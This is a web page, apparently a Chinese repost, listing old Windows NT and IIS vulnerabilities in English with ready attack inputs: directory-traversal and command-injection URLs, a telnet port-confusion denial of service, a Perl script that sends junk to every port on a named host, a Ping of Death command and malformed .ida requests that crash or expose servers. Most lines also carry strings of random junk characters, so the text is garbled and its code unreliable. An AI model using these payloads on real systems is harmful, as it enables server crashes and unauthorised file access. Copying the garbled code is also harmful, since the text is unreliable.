NT的漏洞及描述(英文）

受影响系统:4.0,iis 1.0
A URL such as 'http://www.domain.com/..\..' allows you to browse and download files outside of the webserver content root directory.

A URL such as 'http://www.domain.com/scripts..\..\scriptname' allows you to execute the target script.

: G# Q$ q- o& e, I2 W; e+ J5 lBy default user 'Guest' or IUSR_WWW has read access to all files on an NT disk. These files can be browsed, executed or downloaded by wandering guests.

--------------------------------------------------------------------
% q) v. R! ]  \
0 S, ^# }" u; ]1 e9 s6 N受影响系统:4.0
$ l* h0 J0 z! g$ i: G3 G4 Z0 B1 T2 BA URL such as http://www.domain.com/scripts/exploit.bat>PATH\target.bat will create a file 'target.bat''.
/ I. y2 _/ K& K2 N
- a1 w3 L% Z7 \3 ]# j5 n0 s; V; LIf the file 'target.bat' exists, the file will be truncated.

* z9 P6 Y% [  T6 h. N5 z# k# p. ^
! R1 R5 r- n# p+ w( iA URL such as http://www.domain.com/scripts/script_name%0A%0D>PATH\target.bat will create an output file 'target.bat''.
1 V8 G5 O6 W3 p7 A- M
----------------------------------------------------------------------
4 X. i$ ]0 y6 _9 a2 G
受影响系统:3.51,4.0
' X( W8 a1 o4 r2 TMultiple service ports (53, 135, 1031) are vunerable to 'confusion'.

# S1 u  s9 ^" xThe following steps;

Telnet to an NT 4.0 system on port 135
Type about 10 characters followed by a <CR>
+ ]* ?/ J& `' g0 L4 b0 fExit Telnet
results in a target host CPU utilization of 100%, though at a lower priority than the desktop shell. Multiple services which are confused can result in a locked system.

When launched against port 135, NT Task manager on the target host shows RPCSS.EXE using more than usual process time. To clear this the system must be rebooted.

4 e2 G) \+ C! X4 y2 DThe above also works on port 1031 (inetinfo.exe) where IIS services must be restarted.

0 A- z4 x% j0 x8 G: }8 ?If a DNS server is running on the system, this attack against port 53 (dns.exe) will cause DNS to stop functioning.
) M7 K6 W# o) P& |
8 u5 m5 A+ U: P, Q" W2 \; E* o% TThe following is modified perl script gleaned from postings in the NTsecurity@iss.net list to test ports on your system (Perl is available from the NT resource kit):

( R  L# l" n' B5 J# h7 M/*begin poke code*/

7 J+ D' C" @7 @use Socket;
: U) R# G0 u5 `4 r: e- M9 uuse FileHandle;
require "chat2.pl";

5 g1 Z  t6 G4 ^) a* m$systemname = $ARGV[0] && shift;

$verbose = 1; # tell me what you're hitting
4 h# ?. J' |+ i, o$ c6 j  r) p$knownports = 1; # don't hit known problem ports
7 z) X: Z& Y6 O) |7 P$ yfor ($port = $0; $port<65535; $port++)
{
' Q1 _8 x4 X3 s5 r5 I- I. N# e6 g
( p1 v' C2 ]! Z5 }/ x/ i+ X
+ c: R0 `  j6 q- i2 {$ S: Y  `. zif ($knownports && ($port == 53 || $port == 135 || $port== 1031)) {
1 i$ v4 b  y7 H& znext;
3 g# T5 c8 j  u+ h}
, f2 `# W; W- T4 S/ S% N9 j% }! h$fh = chat::open_port($systemname, $port);
chat::print ($fh,"This is about ten characters or more");
if ($verbose) {
1 n) I5 t0 a# z4 u9 R2 A0 l$ cprint "Trying port: $port\n";
}
! [; l! Z9 L% X0 K4 ?; L+ Dchat::close($fh);

9 \. Z! W5 M  U- r8 H. X+ s: q' Z}

- e. M' V" u; @+ i
6 E) l4 U3 A/ n( X$ S8 G8 Y7 Q/ K/*end poke code*/
0 t1 i) \" y) P- W* T! n5 H
$ h" j$ |, _* ?2 r. ]0 h( `$ R" D. MSave the above text as c:\perl\bin\poke, run like this: C:\perl\bin> perl poke servername

' V: f% ^8 g, ~8 P; K6 T, E--------------------------------------------------------------------------------

' T7 y! l% T" l% ^* |2 b$ `( A受影响系统:4.0
7 r" s, G5 H% I& F( WUsing a telnet application to get to a webserver via HTTP port 80, and typing "GET ../.." <cr> will crash IIS.
. B- |# a) F# R7 J- h7 i6 B
This attack causes Dr. Watson to display an alert window and to log an error:

* }6 @% g7 v' x' ?$ Q6 W"The application, exe\inetinfo.dbg, generated an application error The error occurred on date@ time The exception generated was c0000005 at address 53984655 (TCP_AUTHENT::TCP_AUTHENT"
) k; a7 r) n! ~! e. O/ Y
--------------------------------------------------------------------------------
; y7 C/ i# C# M
受影响系统:3.51,4.0
# [% Y# u7 u0 F8 C# T7 m; @Large packet pings (PING -l 65527 -s 1 hostname) otherwise known as 'Ping of Death' can cause a blue screen of death on 3.51 systems:

STOP: 0X0000001E
KMODE_EXCEPTION_NOT_HANDLED - TCPIP.SYS
: Q2 X1 A% F, I' S% \7 r
-OR-
; T" i& \. s' L6 O, }* g
9 u3 v  y7 j& s) Y$ ?STOP: 0x0000000A
IRQL_NOT_LESS_OR_EQUAL - TCPIP.SYS
9 D2 l/ ?3 @2 F, U/ q! I
NT 4.0 is vunerable sending large packets, but does not crash on receiving large packets.

--------------------------------------------------------------------------------
7 F- D( e+ d% [/ R& G
Microsoft IIS 5.0 has problems handling a specific form of URL ending with "ida". The problem can have 2 kinds of results. One possible outcome is that the server responds with a message like "URL String too long"; "Cannot find the specified path" or the like. The other possible result is that the server terminates with an "Access Violation" message (effectively causing a Denial of Service attack against the server). Vulnerable are all IIS versions (up to and including IIS 5.0). When a remote attacker issues a URL request with the malformed URL: http://www.example.com/...[25kb of '.']...ida The server will either crash (causing an effective DoS attack) or report its current directory location (revealing the directory structure).
& |: r& j! M! j$ j6 F2 O
--------------------------------------------------------

$ I, G5 K  D3 x: x$ |5 dIIS, Microsoft's Internet Information Server, can be used to reveal the true path of the files (where they physically reside on the local hard drive), by requesting a non-existing file with an IDQ/IDA extension. By requesting a URL such as: http://www.microsoft.com/anything.ida Or: http://www.microsoft.com/anything.idq A remote user will get a response that looks like: 'The IDQ d:\http\anything.idq could not be found' Such a response allows him to gain further knowledge on how the web site is organized and the directory structure of the server